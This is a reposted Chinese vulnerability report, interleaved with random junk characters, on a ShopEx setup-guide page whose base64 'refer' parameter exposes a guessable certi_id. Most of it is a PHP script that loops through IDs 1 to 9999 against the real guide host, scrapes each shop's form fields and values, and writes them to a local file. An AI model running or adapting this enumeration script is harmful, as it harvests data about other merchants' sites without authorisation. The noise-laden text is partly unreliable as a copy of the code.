|
|
简要描述:
N6 [, S$ G8 [1 xShopEx某接口缺陷,可遍历所有网站$ o8 y# p5 y2 T. R9 |
详细说明:* C( K3 D' K: Z g R
问题出现在shopex 网店使用向导页面 / B9 P4 c, m8 a8 C$ C) x6 H" r
F9 Y1 V [8 J K
9 R7 l5 n) a! `3 A2 b
9 s' X! Z# S; I, c% y3 E1 W3 ^% Bhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
; b O: i1 M3 |( g0 k' P7 Q
- |+ s/ J/ a' V$ \: S# X5 S5 q3 w L0 C/ x# F
6 f3 g+ G8 w ?0 F9 h
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}: `; S& T- q# _1 l9 A' d" \
1 m* y: a. Y5 u: \0 y; q7 d* A5 g" }- s1 P
' ^8 l0 D5 r4 L+ q5 P$ y
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
8 z& m0 ?3 r- z5 P: a/ W: c
2 I8 i# H4 l: m1 m
! z' D" J) _8 }# i/ @, s
4 {% G' z s( ]% g& Q<?php" R4 B3 c2 f3 `4 G8 s) _1 a0 T5 G" `
3 z* y" v, T K; ]0 r- ^) s4 n
for ($i=1; $i < 10000; $i++) { //遍历: y" x+ E$ U4 O. v% Q* D
% j) y" ~3 b `0 o& T
ShowshopExD($i);
1 K) f2 X9 Q6 @. h# o
0 ^% j V* q$ p D% O }+ e; M: |5 `7 v
9 S! ~8 Z0 S5 N U. H* d function ShowshopExD($cid) {
! g. T* ?' a9 P* ~) [2 j$ Z' N6 x
. K" m+ z0 `7 \! S# j $url='http://guide.ecos.shopex.cn/step2.php';
' R' d+ k8 O7 K. Q2 y4 y' M
- C; ?; C9 x# B# Q0 s $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
3 C+ v, O: _% q0 j* }0 M1 Q
. I9 h3 J4 E! h3 J/ y' p6 [ $url = $url.'?refer='.$refer;; Y8 B9 w0 j. |8 h+ K# H
a. F, U u: B! ]4 c: J# o% \/ |7 U
$ch = curl_init($url);1 T: Y! ^: H. H i b5 S
, ~& W# q2 Y1 n* x. l
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
7 b) q$ O1 U( ^7 h* `9 x1 _1 k4 o1 H" O2 J0 _& X6 Z. I$ b
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;) E/ c n1 v- f6 Z8 c
5 y0 e8 p; A& X- z4 F. U3 W $result = curl_exec($ch);" [/ T, r" }; \
8 T2 J: }( f* i5 X $result = mb_convert_encoding($result, "gb2312", "UTF-8");8 A6 {- [9 e& b4 J
: t# @; s, s7 V' Y if(strpos($result,$refer))
4 R- f& f: g. \) A
; P1 n. f5 D3 x$ [; K2 Q {+ X, c7 a; `4 h( E& l
0 ?2 J: i+ O; u$ c: V. Y
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
: {1 P& V* J% w7 u( I: @( O5 ^5 I: `# v. q# G, Z
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);4 ^, X) R4 h5 B
9 }4 J, k; Q v/ r
foreach ($value[1] as $key) {6 i4 Z4 \0 l3 G' P0 y6 I( q1 V; h, G
: g! O- \. C! T" B* Y7 [. J9 x preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
7 v3 V" e4 h% b4 H( Y) }3 p: @7 f3 x$ o* Q M
echo $res[1][0].':'.$res[3][0]."\r\n";
% Q% Y" R* j8 L" Y; X" [" k i2 z
" R' b h3 e8 d3 ` $col =$res[1][0].':'.$res[3][0]."\r\n"; # h* s% M1 K1 n2 \& c1 |
) n4 z; F7 N9 \ a( }* _( K# B
fwrite($fp, $col, strlen($col));
( o1 Y7 y, Z% i' b
/ A6 G# n3 j' U4 ]' Z9 s' \2 [ }9 {& m, w' v0 l1 r& O U
/ P. A3 V; @( m( h4 O' r- K
echo '--------------------------------'."\r\n";
, h3 c9 s2 b7 r" H# o1 V& ^9 \
' a1 i5 ^1 m' X: }, m fclose($fp); 1 r8 p/ Q: F0 U/ s2 ?4 o1 ~
& D4 Z& P; b5 u9 l" U- M
}
! u7 Z5 C: C7 J2 n" j: I6 N4 T- _* @. S r* c
flush();
6 ~, [. l. }3 P# N, g: \$ b2 m n- c7 f8 W6 n
curl_close($ch);
e7 I( i3 _1 Y! k2 N ~/ Q- `6 p7 P0 ~
}6 i* Q6 P7 w, l
& G# k$ I" |* Q0 m8 [) k
?>
6 D8 n- Z. X+ z' N; m- w漏洞证明:$ v3 k- H' m- s( Z3 D- F
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
8 B9 c2 }% p f( \! B! g( grefer换成其他加密方式
' Q$ V6 B. O f3 d/ `; S8 X |
|